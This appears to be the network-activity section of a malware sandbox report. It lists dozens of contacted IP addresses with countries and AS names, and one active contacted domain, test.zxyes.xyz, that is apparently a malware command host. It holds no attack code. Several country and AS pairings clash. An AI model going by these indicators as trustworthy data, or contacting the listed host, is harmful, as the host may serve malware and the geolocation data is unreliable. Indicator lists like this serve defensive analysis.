197.211.114.208
 unknown Malawi
37187 SKYBANDMW false
169.228.238.170
 unknown United States
7377 UCSDUS false
157.236.83.1
 unknown United Kingdom
4704 SANNETRakutenMobileIncJP false
115.38.238.72
 unknown Japan 18126 CTCXChubuTelecommunicationsCompanyIncJP false
197.231.174.170
 unknown South Africa
37055 EMIDZA false
41.85.32.176
 unknown South Africa
22355 FROGFOOTZA false
63.169.198.175
 unknown United States
1239 SPRINTLINKUS false
41.154.82.108
 unknown South Africa
37079 SMMTZA false
157.145.56.98
 unknown United States
719 ELISA-ASHelsinkiFinlandEU false
217.56.211.180
 unknown Italy
3269 ASN-IBSNAZIT false
157.212.14.231
 unknown United States
4704 SANNETRakutenMobileIncJP false
41.55.86.167
 unknown South Africa
37168 CELL-CZA false
197.20.220.125
 unknown Tunisia
37693 TUNISIANATN false
41.203.88.30
 unknown Nigeria
37148 globacom-asNG false
41.53.150.198
 unknown South Africa
37168 CELL-CZA false
197.173.143.35
 unknown South Africa
37168 CELL-CZA false
197.247.28.16
 unknown Morocco
36925 ASMediMA false
157.109.178.100
 unknown Japan 37919 SEGASEGAHoldingsCoLtdJP false
138.251.7.144
 unknown United Kingdom
786 JANETJiscServicesLimitedGB false
157.129.41.254
 unknown Finland
41701 CAP-FIN-ASFI false
197.173.131.66
 unknown South Africa
37168 CELL-CZA false
157.133.97.49
 unknown United States
133767 SAP_DC_SYDSAPAU false
197.239.56.166
 unknown Uganda
37075 ZAINUGASUG false
53.35.84.18
 unknown Germany
31399 DAIMLER-ASITIGNGlobalNetworkDE false
197.38.15.101
 unknown Egypt
8452 TE-ASTE-ASEG false
96.99.206.144
 unknown United States
7922 COMCAST-7922US false
187.128.208.242
 unknown Mexico
28283 AdylnetTelecomBR false
70.7.125.183
 unknown United States
10507 SPCSUS false
197.51.4.216
 unknown Egypt
8452 TE-ASTE-ASEG false
197.255.96.213
 unknown Ghana
37074 UG-ASGH false
157.37.189.48
 unknown India
55836 RELIANCEJIO-INRelianceJioInfocommLimitedIN false
197.60.132.87
 unknown Egypt
8452 TE-ASTE-ASEG false
197.180.144.76
 unknown Kenya
33771 SAFARICOM-LIMITEDKE false
41.72.21.40
 unknown Angola
37155 NETONEAO false
194.72.164.158
 unknown United Kingdom
2856 BT-UK-ASBTnetUKRegionalnetworkGB false
169.37.67.179
 unknown Switzerland
37611 AfrihostZA false
41.133.169.251
 unknown South Africa
10474 OPTINETZA false
41.243.103.151
 unknown Congo The Democratic Republic of The
37684 ANGANI-ASKE false
41.88.141.232
 unknown Egypt
33771 SAFARICOM-LIMITEDKE false
157.21.202.207
 unknown United States
53446 EVMSUS false
157.135.154.175
 unknown United States
600 OARNET-ASUS false
41.196.1.100
 unknown Egypt
24863 LINKdotNET-ASEG false
43.26.93.139
 unknown Japan 4249 LILLY-ASUS false
17.220.123.235
 unknown United States
714 APPLE-ENGINEERINGUS false
121.18.220.148
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
157.215.239.15
 unknown United States
4704 SANNETRakutenMobileIncJP false
197.189.59.11
 unknown Congo The Democratic Republic of The
37598 EbaleCD false
197.143.173.239
 unknown Algeria
36891 ICOSNET-ASDZ false
90.243.221.86
 unknown United Kingdom
5378 VodafoneGB false
157.101.64.14
 unknown Japan 2519 VECTANTARTERIANetworksCorporationJP false
197.223.247.155
 unknown Egypt
37069 MOBINILEG false
197.131.139.241
 unknown Morocco
6713 IAM-ASMA false
197.249.217.5
 unknown Mozambique
25139 TVCABO-ASEU false
47.39.49.244
 unknown United States
20115 CHARTER-20115US false
41.187.12.178
 unknown Egypt
20928 NOOR-ASEG false
41.168.23.240
 unknown South Africa
36937 Neotel-ASZA false
41.235.194.79
 unknown Egypt
8452 TE-ASTE-ASEG false
197.121.74.199
 unknown Egypt
36992 ETISALAT-MISREG false
157.253.237.105
 unknown Colombia
3603 UniversitydeLosAndesCO false
41.39.34.249
 unknown Egypt
8452 TE-ASTE-ASEG false
197.41.93.128
 unknown Egypt
8452 TE-ASTE-ASEG false
41.246.44.154
 unknown South Africa
5713 SAIX-NETZA false
197.21.42.101
 unknown Tunisia
37693 TUNISIANATN false
34.167.178.222
 unknown United States
2686 ATGS-MMD-ASUS false
157.98.55.36
 unknown United States
3527 NIH-NETUS false
32.150.51.8
 unknown United States
2686 ATGS-MMD-ASUS false
157.28.31.173
 unknown Italy
8968 BT-ITALIAIT false
41.61.164.249
 unknown South Africa
36943 GridhostZA false
107.46.141.66
 unknown United States
16567 NETRIX-16567US false
41.33.29.216
 unknown Egypt
8452 TE-ASTE-ASEG false

Contacted Domains

Name IP Active
test.zxyes.xyz 195.133.40.202 true